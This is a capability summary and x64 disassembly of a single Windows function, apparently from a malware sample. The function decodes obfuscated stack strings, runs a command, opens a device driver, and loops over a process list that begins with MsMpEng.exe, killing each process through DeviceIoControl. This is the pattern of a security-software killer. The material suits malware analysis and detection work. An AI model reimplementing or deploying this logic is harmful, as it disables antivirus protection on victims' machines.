Function at 0x613c192b
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Terminate process

Disassembly:
push rbp
push rdi
push rsi
sub rsp, 0x6a0
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x600], 0x416d7369
mov byte [rbp + 0x604], 0
lea rax, [rbp + 0x600]
mov rcx, rax
call sym.NETUTILS.dll_revstr
movabs rax, 0x6e53657373696f6e
mov qword [rbp + 0x5f0], rax
movabs rax, 0x416d73694f7065
mov qword [rbp + 0x5f8], rax
lea rax, [rbp + 0x5f0]
mov rcx, rax
call sym.NETUTILS.dll_revstr
movabs rax, 0x616e537472696e67
mov qword [rbp + 0x5e0], rax
mov dword [rbp + 0x5e8], 0x73695363
mov word [rbp + 0x5ec], 0x416d
mov byte [rbp + 0x5ee], 0
lea rax, [rbp + 0x5e0]
mov rcx, rax
call sym.NETUTILS.dll_revstr
movabs rax, 0x616e427566666572
mov qword [rbp + 0x5d0], rax
mov dword [rbp + 0x5d8], 0x73695363
mov word [rbp + 0x5dc], 0x416d
mov byte [rbp + 0x5de], 0
lea rax, [rbp + 0x5d0]
mov rcx, rax
call sym.NETUTILS.dll_revstr
lea rdx, [rbp + 0x5e0]
lea rax, [rbp + 0x600]
mov rcx, rax
call sym.NETUTILS.dll_ASSnko
lea rdx, [rbp + 0x5f0]
lea rax, [rbp + 0x600]
mov rcx, rax
call sym.NETUTILS.dll_ASSnko
lea rdx, [rbp + 0x10]
lea rax, str.MsMpEng.exe
mov ecx, 0xb7
mov rdi, rdx
mov rsi, rax
rep movsq qword [rdi], qword [rsi]
mov rax, rsi
mov rdx, rdi
mov ecx, dword [rax]
mov dword [rdx], ecx
lea rdx, [rdx + 4]
lea rax, [rax + 4]
movzx ecx, word [rax]
mov word [rdx], cx
lea rdx, [rdx + 2]
lea rax, [rax + 2]
lea rdx, [rbp + 0x5d0]
lea rax, [rbp + 0x600]
mov rcx, rax
call sym.NETUTILS.dll_ASSnko
lea rdx, [rbp + 0x5e0]
lea rax, [rbp + 0x600]
mov rcx, rax
call sym.NETUTILS.dll_ASSnko
movabs rax, 0x4445434f2e626174
mov qword [rbp - 0x10], rax
movabs rax, 0x7374656d33325c4b
mov qword [rbp - 8], rax
movabs rax, 0x646f7773205c7379
mov qword [rbp], rax
mov dword [rbp + 8], 0x5c77696e
mov word [rbp + 0xc], 0x433a
mov byte [rbp + 0xe], 0
lea rax, [rbp - 0x10]
mov rcx, rax
call sym.NETUTILS.dll_revstr
movabs rax, 0x7275655369676874
mov qword [rbp - 0x20], rax
mov dword [rbp - 0x18], 0x5c2e5c54
mov word [rbp - 0x14], 0x5c
lea rax, [rbp - 0x20]
mov rcx, rax
call sym.NETUTILS.dll_revstr
lea rdx, [rbp + 0x5f0]
lea rax, [rbp + 0x600]
mov rcx, rax
call sym.NETUTILS.dll_ASSnko
lea rdx, [rbp + 0x5e0]
lea rax, [rbp + 0x600]
mov rcx, rax
call sym.NETUTILS.dll_ASSnko
lea rdx, [rbp + 0x5d0]
lea rax, [rbp + 0x600]
mov rcx, rax
call sym.NETUTILS.dll_ASSnko
lea rax, [rbp - 0x10]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WinExec]
call rax
lea rdx, [rbp + 0x5f0]
lea rax, [rbp + 0x600]
mov rcx, rax
call sym.NETUTILS.dll_ASSnko
lea rax, [rbp - 0x20]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 0
mov edx, 3
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x610], rax
lea rdx, [rbp + 0x5e0]
lea rax, [rbp + 0x600]
mov rcx, rax
call sym.NETUTILS.dll_ASSnko
lea rdx, [rbp + 0x5f0]
lea rax, [rbp + 0x600]
mov rcx, rax
call sym.NETUTILS.dll_ASSnko
lea rdx, [rbp + 0x5d0]
lea rax, [rbp + 0x600]
mov rcx, rax
call sym.NETUTILS.dll_ASSnko
mov dword [rbp + 0x61c], 0
jmp 0x613c1c90
lea rcx, [rbp + 0x10]
mov eax, dword [rbp + 0x61c]
cdqe
mov rdx, rax
lea rax, [rdx + rdx]
mov rdx, rax
mov rax, rdx
shl rax, 4
sub rax, rdx
add rax, rcx
mov rcx, rax
call sym.NETUTILS.dll_FindProcessId
mov dword [rbp - 0x24], eax
mov dword [rbp + 0x60c], 8
mov dword [rbp - 0x34], 0
lea rcx, [rbp - 0x24]
mov rax, qword [rbp + 0x610]
mov qword [rsp + 0x38], 0
lea rdx, [rbp - 0x34]
mov qword [rsp + 0x30], rdx
mov edx, dword [rbp + 0x60c]
mov dword [rsp + 0x28], edx
lea rdx, [rbp - 0x30]
mov qword [rsp + 0x20], rdx
mov r9d, 4
mov r8, rcx
mov edx, 0x22e044
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeviceIoControl]
call rax
add dword [rbp + 0x61c], 1
cmp dword [rbp + 0x61c], 0x30
jle 0x613c1c00
mov rax, qword [rbp + 0x610]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_ExitProcess]
call rax
nop